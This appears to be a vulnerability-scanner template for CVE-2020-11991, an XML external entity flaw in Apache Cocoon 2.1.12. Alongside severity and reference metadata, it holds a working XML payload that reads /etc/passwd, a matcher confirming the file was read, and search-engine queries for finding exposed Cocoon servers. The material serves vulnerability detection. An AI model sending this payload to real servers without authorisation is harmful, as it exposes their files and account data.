Description
Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
id: CVE-2020-11991
info:
name: Apache Cocoon 2.1.12 - XML Injection
author: pikpikcu
severity: high
description: Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution.
remediation: Upgrade to Apache Cocoon 2.1.13 or later.
reference:
- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
- https://github.com/ARPSyndicate/cvemon
- https://github.com/H4ckTh3W0r1d/Goby_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-11991
cwe-id: CWE-611
epss-score: 0.72456
epss-percentile: 0.9941
cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: cocoon
shodan-query:
- http.html:"Apache Cocoon"
- http.html:"apache cocoon"
fofa-query: body="apache cocoon"
tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/v2/api/product/manger/getInfo"
body: |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
headers:
Content-Type: "text/xml"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022008b36f41244f463b69b146237acd919d0108f459a3ba0cdc37a6db712a3228c602206bfd671e3e101dc8e5e24d34498204f6e916bbe9e7e24cccf9968de022102266:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.